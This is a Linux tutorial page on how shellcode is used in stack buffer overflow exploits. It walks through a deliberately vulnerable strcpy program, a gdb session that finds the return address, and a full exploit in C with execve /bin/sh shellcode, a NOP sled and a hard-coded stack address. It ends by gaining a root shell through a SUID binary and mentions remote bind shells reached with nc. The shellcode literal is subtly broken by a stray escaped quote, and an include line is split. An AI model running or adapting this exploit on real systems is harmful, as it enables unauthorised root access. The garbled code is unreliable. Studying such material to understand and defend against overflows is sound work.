Now: Tutorial for Web and Software Design > OS > Linux > OS Content
> How Shellcodes Work [Bookmark it]
How Shellcodes Work

How Shellcodes Work

How It Works in Exploit

A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:



void sum(int a,int b) {

    int c = a + b;

}

The stack inside of sum() will look like this:

b

a

<return address>

<ebp contents>

c

The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:

#include

<stdio.h>



void sum(int a,int b) {

    int c = a + b;

}



void bad_copy_string(char *s)

{

    char local[1024];

    strcpy(local,s);

    printf("string is %s\n",local);

}



int main(int argc, char *argv[])

{

    sum(1,2);

    bad_copy_string(argv[1]);

}

The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.

Compile this victim code and run it:

% gcc -o overflow overflow.c 

% ./overflow 'All seems fine'

string is All seems fine

Everything seems indeed right, but call it with a parameter longer than 1024 characters:

% ./overflow `perl -e 'print "a" x 2000'`

string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

bash: segmentation fault (core dumped)  ./overflow `perl -e 'print "a" x 2000'`

The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:

% gdb ./overflow core

GNU gdb 2002-04-01-cvs

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-linux".

Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaa'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.

Loaded symbols for /lib/ld-linux.so.2

#0  0x61616161 in ?? ()

The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:

(gdb) info register esp

esp            0xbffff334       0xbffff334

Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:

#include <stdlib.h>



static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"

"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";



#define NOP 0x90

#define LEN 1024+8

#define RET 0xbffff334



int main()

{

    char buffer[LEN]; int i;



    /* first fill up the buffer with NOPs */

    for (i=0;i<LEN;i++)

        buffer[i] = NOP;



    /* and then the shellcode */

    memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));



    /* and finally the address to return to */

    *(int*)(&buffer[LEN-4]) = RET;



    /* run program with buffer as parameter */

    execlp("./overflow","./overflow",buffer,NULL);



    return 0;

}

The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:

% gcc -o exploit exploit.c

% ./exploit

string is <lots of garbage>

Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:

% chmod +s overflow

% su

# chown root overflow

# exit

% ./exploit

string is <lots of garbage>

sh# whoami

root

That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.

Conclusion

In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.

Recommended Reading

Buffer Overflow Attacks

Peter Mikhalenko works in Deutsche Bank as a business consultant.


Return to the Linux DevCenter.

Prev  [1] [2] [3] [4] 

[Bookmark][Print] [Close][To Top]
  • Prev Article-OS:

  • Next Article-OS:
  • Related Materias
    How to Deploy Software Usi
    Top 10 Tips for Using Wind
    Mastering Windows New Fire
    Windows XP File Sharing My
    Building Photo Uploaders w
    How to Remove Startup Prog
    Windows XP File Sharing My
    Best Windows Admin Downloa
    How To Recover from Regist
    The Ultimate Free Windows 
    Topics
    Photoshop Tutorial
     

    Special Effect

      3D Effect
      Photoshop Articles
    Programming Tutorial
     

    C/C++ Tutorial

      Visual Basic
      C# Tutorial
    Database Tutorial
     

    MySQL Tutorial

      MS SQL Tutorial
      Oracle Tutorial
    Graphic Design Tutorial
     

    Coreldraw Tutorial

      Illustrator Tutorial
      3D Graphics Articles
    Webmaster Articles
     

    Domain Service

      Web Hosting
      Site Promotion
    Java Tutorial&Articles
     

    Java Servlets

      JavaEE Tutorial
     

    JavaBeans Tutorial

    XML Tutorial&Articles
     

    XML Style Tutorial

      AJAX Tutorial
      XML Mobile
    Flash Tutorial&Articles
     

    Flash Video

      Action Script
      Flash Articles
    OS Tutorial&Articles
     

    Linux Tutorial

      Symbian Tutorial
      MacOS Tutorial